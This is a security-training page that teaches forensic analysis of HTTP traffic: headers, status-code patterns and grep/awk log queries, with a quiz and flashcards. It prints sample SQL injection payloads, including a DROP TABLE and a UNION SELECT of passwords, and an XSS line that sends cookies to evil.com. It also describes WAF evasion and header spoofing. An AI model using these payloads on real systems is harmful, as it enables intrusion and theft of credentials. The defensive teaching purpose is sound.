Anatomy of an HTTP Transaction for Forensic Analysis
Reading HTTP Like an Investigator
HTTP is the protocol that carries the majority of web traffic, and it is also the protocol that carries the majority of web attacks. Every HTTP request and response contains a wealth of forensic information — if you know how to read it. The ability to analyze HTTP traffic is essential for incident response, threat hunting, and forensic investigation.
The HTTP Request: What the Client Sends
POST /api/v1/transfer HTTP/1.1
Host: bank.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: application/json
Content-Type: application/json
Content-Length: 87
X-Forwarded-For: 203.0.113.50
C*******************3
{"from_account": "1234", "to_account": "5678", "amount": 50000}
Each element has forensic value:
Request line (POST /api/v1/transfer HTTP/1.1):
- Method: POST indicates data submission. GET with query parameters may indicate data exfiltration. Unusual methods (PUT, DELETE, TRACE) may indicate probing.
- URI: The path reveals which resource was targeted. Repeated requests to
/admin,/wp-login.php, or/api/usersindicate enumeration or brute force. - Version: HTTP/1.1 is standard. HTTP/1.0 may indicate an old tool or library. HTTP/2 is modern but may be used by sophisticated attackers.
Headers:
- User-Agent: Identifies the client software. A User-Agent of
sqlmap/1.6ornikto/2.1.6is a clear attack indicator. Missing or generic User-Agents may indicate custom tools. - X-Forwarded-For: Shows the original client IP when behind a proxy. Multiple IPs indicate multiple proxy hops. A private IP (10.x, 192.168.x) in X-Forwarded-For when the connection comes from the internet indicates header spoofing.
- Referer: Shows which page the request came from. A Referer from an external site to your login page may indicate a phishing referral.
- Content-Type: Should match the actual content. A mismatch (e.g.,
Content-Type: text/plainwith a JSON body) may indicate an attempt to bypass WAF rules. - Cookie: Session tokens. A cookie value that changes every request may indicate session fixation. A cookie from a different user ID may indicate session hijacking.
Body:
- The actual data being submitted. In the example above, a transfer of $50,000 — the forensic question is whether this was authorized.
The HTTP Response: What the Server Returns
HTTP/1.1 401 Unauthorized
Date: Mon, 01 Jan 2026 12:00:00 GMT
Server: nginx/1.18.0
Content-Type: application/json
Content-Length: 42
Set-Cookie: session=abc123; HttpOnly; Secure
{"error": "invalid_credentials"}
Status codes are the most important forensic signal:
| Code | Meaning | Forensic Significance |
|---|---|---|
| 200 | OK | Successful request — check if the success was authorized |
| 301/302 | Redirect | May indicate open redirect vulnerability or legitimate navigation |
| 400 | Bad Request | Malformed input — may indicate probing |
| 401 | Unauthorized | Failed authentication — may indicate brute force |
| 403 | Forbidden | Access denied — may indicate authorization bypass attempt |
| 404 | Not Found | Resource not found — bursts indicate content enumeration |
| 429 | Too Many Requests | Rate limiting triggered — confirms automated activity |
| 500 | Internal Server Error | Server error — may indicate successful exploitation of a vulnerability |
| 503 | Service Unavailable | May indicate DoS or resource exhaustion |
Response headers:
- Server: Reveals the server software and version.
Server: Apache/2.4.49is a known-vulnerable version (CVE-2021-41773). - Set-Cookie: Check for
HttpOnlyandSecureflags. MissingHttpOnlyallows XSS-based cookie theft. MissingSecureallows cookie interception over HTTP. - Content-Length: Compare with actual body size. A mismatch may indicate response smuggling.
Reconstructing a Session
HTTP is stateless, but forensic analysis reconstructs sessions by correlating requests:
# Extract all requests from a specific IP in a web log
grep '203.0.113.50' access.log
# Reconstruct the session timeline
awk '/203.0.113.50/ {print $4, $6, $7, $9}' access.log
# Look for the sequence: login → navigate → action
# Example attack sequence:
# 1. GET /login (200) — find the login page
# 2. POST /login (401) — failed login attempt
# 3. POST /login (401) — another failed attempt
# 4. POST /login (200) — successful login (brute force succeeded)
# 5. GET /api/users (200) — enumerate users
# 6. POST /api/transfer (200) — execute fraudulent transfer
The sequence tells the story: reconnaissance → brute force → lateral movement → action. Each step leaves forensic evidence in the HTTP logs.
Identifying Attack Patterns in HTTP Traffic
Status Code Patterns as Attack Signatures
Attackers leave distinctive patterns in HTTP traffic. Learning to recognize these patterns is the core skill of HTTP forensics.
Content Enumeration (404 Bursts)
An attacker probes for existing resources by requesting common paths and observing which return 200 vs 404.
# Detect 404 bursts from a single IP
awk '$9 == 404 {print $1}' access.log | sort | uniq -c | sort -rn | head
# Example output:
# 523 203.0.113.50
# 12 198.51.100.25
# 3 192.0.2.100
An IP generating hundreds of 404 responses is almost certainly running a directory brute-force tool like gobuster, dirb, or ffuf:
# The attacker's requests look like:
GET /admin HTTP/1.1 → 404
GET /backup HTTP/1.1 → 404
GET /config HTTP/1.1 → 404
GET /api HTTP/1.1 → 200 ← found something
GET /api/users HTTP/1.1 → 200 ← found more
Detection: Alert when a single source IP generates more than N 404 responses per minute (threshold varies by environment, but 20-50 is a common baseline).
Brute Force Authentication (401/403 Bursts)
An attacker repeatedly submits credentials against a login endpoint.
# Detect brute force: count failed logins per source IP
awk '$9 == 401 && $7 ~ /login/ {print $1}' access.log | sort | uniq -c | sort -rn
# Look for the pattern:
# POST /login → 401 (wrong password)
# POST /login → 401 (wrong password)
# POST /login → 401 (wrong password)
# ... (hundreds of times)
# POST /login → 200 (correct password found)
Key indicator: A high volume of 401/403 responses from a single IP to an authentication endpoint, followed by a 200 response. The 200 after the burst indicates the brute force succeeded.
SQL Injection (Unusual URI Patterns)
SQL injection attempts contain distinctive patterns in the URI or body:
# Detect SQL injection patterns in URIs
grep -E "('|--|;|UNION|SELECT|OR 1=1)" access.log
# Example attack requests:
GET /product?id=1' OR '1'='1 HTTP/1.1
GET /product?id=1; DROP TABLE users-- HTTP/1.1
GET /search?q=1 UNION SELECT username,password FROM users-- HTTP/1.1
Forensic indicators:
- Single quotes (
') in URIs where they are not expected - SQL keywords (UNION, SELECT, DROP, INSERT) in query parameters
- Comment sequences (
--,#,/*) in parameters - URL-encoded characters (
%27for',%20for space) that decode to SQL syntax
Cross-Site Scripting (XSS) Attempts
XSS payloads appear in request parameters:
# Detect XSS patterns
grep -E "(<script|javascript:|onerror=|onload=)" access.log
# Example:
GET /search?q=<script>document.location='http://evil.com/?c='+document.cookie</script> HTTP/1.1
Forensic indicators: HTML tags (<script>, <img>), JavaScript event handlers (onerror=, onload=), and javascript: URIs in request parameters.
Web Shell Activity
After exploiting a vulnerability, attackers often upload a web shell — a script that provides remote command execution through the web server.
# Detect web shell access: look for requests to recently created files
# with POST method (command execution) and 200 responses
awk '$6 ~ /POST/ && $9 == 200 {print $7}' access.log | grep -E '\.(php|jsp|asp|aspx)$' | sort | uniq -c | sort -rn
# Common web shell paths:
# /uploads/shell.php
# /images/cmd.jsp
# /tmp/admin.aspx
Forensic indicators:
- POST requests to files in upload directories
- Requests to files with random-looking names (e.g.,
x9f2k.php) - POST requests with no Referer header
- 200 responses to files that were not linked from any page
Data Exfiltration via HTTP
Attackers exfiltrate data through HTTP requests by encoding it in query parameters or POST bodies:
# Detect large outbound POST requests (potential exfiltration)
awk '$6 ~ /POST/ && $10 > 1000000 {print $1, $7, $10}' access.log
# Detect requests with encoded data in query parameters
grep -E '([A-Za-z0-9+/]{100,}={0,2})' access.log
Forensic indicators:
- Unusually large POST bodies to external domains
- Base64-encoded data in query parameters
- Periodic, low-and-slow requests (one every few minutes) to the same external domain
- Requests with high-entropy query strings
Header Spoofing and Proxy Evasion
Attackers manipulate headers to evade detection or impersonate legitimate users:
# Detect X-Forwarded-For spoofing: private IPs from external connections
awk '$1 !~ /^(10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.)/' access.log | grep 'X-Forwarded-For: 10\.'
# Detect User-Agent spoofing: multiple User-Agents from the same IP
awk -F'"' '{print $1, $6}' access.log | sort | uniq -c | sort -rn | head
Forensic indicators:
- X-Forwarded-For containing private IP ranges when the connection is from the internet
- Rapidly changing User-Agent strings from the same IP (tool rotation)
- Missing headers that are normally present (no Accept, no Accept-Language)
- Inconsistent headers (e.g.,
X-Forwarded-Forshows one IP butX-Real-IPshows another)
Practice Problems
Solution
This is a BOLA/IDOR (Broken Object Level Authorization / Insecure Direct Object Reference) attack combined with content enumeration. The attacker first probed /api/users (404 — the collection endpoint does not exist or is not accessible), then discovered /api/users/1 (200 — individual user endpoints exist). The attacker then enumerated user IDs 1-50, accessing each user's data. The pattern tells you: (1) the attacker is methodical — they probe first, then exploit; (2) the API lacks proper authorization checks on individual user objects — any authenticated user can access any other user's data by changing the ID; (3) the attacker is using an automated tool (47 requests in rapid succession). The fix is to implement authorization checks on every object-level endpoint, verifying that the authenticated user is authorized to access the specific object requested. Solution
This indicates header spoofing and likely an attempt to bypass security controls. The X-Forwarded-For header shows a private IP (10.0.0.50), but the actual connection comes from an external IP (198.51.100.25). This means the attacker is injecting a fake X-Forwarded-For header to make the request appear to come from an internal trusted source. The Content-Type mismatch (text/plain with a JSON body) suggests an attempt to bypass WAF rules that inspect Content-Type headers — the WAF may skip inspection of text/plain bodies, but the application still parses the JSON. Forensic implications: (1) the attacker knows the internal IP range and is attempting to impersonate internal systems; (2) the attacker is familiar with WAF evasion techniques; (3) the application trusts X-Forwarded-For without validating it against the actual connection source, which is a design flaw. The fix is to configure the application or reverse proxy to overwrite X-Forwarded-For with the actual connection IP, ignoring any client-supplied value. Quiz
1. In HTTP forensic analysis, what does a high volume of 404 responses from a single IP address typically indicate?
2. An HTTP request has an X-Forwarded-For header showing 10.0.0.50, but the actual TCP connection comes from 198.51.100.25. What does this indicate?
3. What HTTP status code pattern would most strongly indicate a successful brute-force attack against a login endpoint?
Flashcards
Question
What HTTP status code pattern indicates content enumeration?
Click to reveal answer
Answer
A high volume of 404 responses from a single IP, interspersed with 200 responses for paths that exist. The attacker probes common paths and uses the 200/404 distinction to map the application structure.
Question
What HTTP status code pattern indicates a successful brute-force attack?
Click to reveal answer
Answer
A high volume of 401 (or 403) responses from a single IP to an authentication endpoint, followed by a 200 response. The 200 after the burst indicates the correct password was found.
Question
What does a Content-Type mismatch (e.g., text/plain with a JSON body) indicate in HTTP forensics?
Click to reveal answer
Answer
A potential WAF evasion attempt. The attacker sets a Content-Type that the WAF does not inspect (text/plain) while the application still parses the body as JSON. This bypasses WAF rules that only inspect specific Content-Types.
Question
What is the forensic significance of the X-Forwarded-For header?
Click to reveal answer
Answer
It shows the original client IP when behind a proxy. However, it is client-supplied and can be spoofed. When X-Forwarded-For shows a private IP but the actual connection is from a public IP, it indicates header spoofing.
Question
What are the indicators of web shell activity in HTTP logs?
Click to reveal answer
Answer
POST requests to files in upload directories, requests to files with random-looking names, POST requests with no Referer header, and 200 responses to files not linked from any page.
Question
What HTTP status code might indicate a successful exploitation of a server vulnerability?
Click to reveal answer
Answer
500 (Internal Server Error). While 500 errors can have benign causes, a 500 response to an unusual request (e.g., a request with SQL injection payloads) may indicate that the payload triggered an unhandled exception, potentially confirming the vulnerability exists.
Revision Notes
Key Takeaways
- 1. HTTP status code patterns are the primary forensic signal — 404 bursts indicate enumeration, 401 bursts indicate brute force
- 2. X-Forwarded-For is client-supplied and can be spoofed — always validate against the actual connection IP
- 3. Content-Type mismatches may indicate WAF evasion attempts
- 4. Web shell activity is identified by POST requests to upload directories with random filenames
- 5. Reconstructing the full session timeline tells the attack story: recon → exploit → action
- 6. A 500 response to an exploit payload may confirm the vulnerability exists
Interview Tips
- • Be ready to analyze a sample HTTP log entry and identify the attack type from the status code pattern
- • Explain how you would distinguish a legitimate user from an attacker when both generate 404 responses (volume and automation are key differentiators)
- • Discuss how X-Forwarded-For spoofing works and how to prevent it
- • Describe how you would reconstruct an attack timeline from web server logs
- • Connect HTTP forensics to threat hunting — proactive log analysis can find attacks that bypassed other controls
Cheat Sheet
HTTP Traffic Forensics Cheat Sheet
Phase: Networking for Security | Level: intermediate
HTTP Request Forensic Elements:
- Method: POST (data submission), GET with params (exfiltration), unusual methods (probing)
- URI: path reveals targeted resource; repeated /admin, /wp-login.php indicate enumeration
- User-Agent: sqlmap/nikto = attack tool; missing/generic = custom tool
- X-Forwarded-For: private IP from external connection = spoofing
- Content-Type: mismatch with body = WAF evasion
Status Code Attack Patterns:
| Pattern | Attack Type |
|---|---|
| 404 bursts | Content enumeration |
| 401/403 bursts → 200 | Successful brute force |
| 500 after exploit payload | Potential successful exploitation |
| 429 | Rate limiting triggered (confirms automation) |
Key Attack Indicators:
- SQL injection: quotes, UNION, SELECT, comment sequences in URIs
- XSS: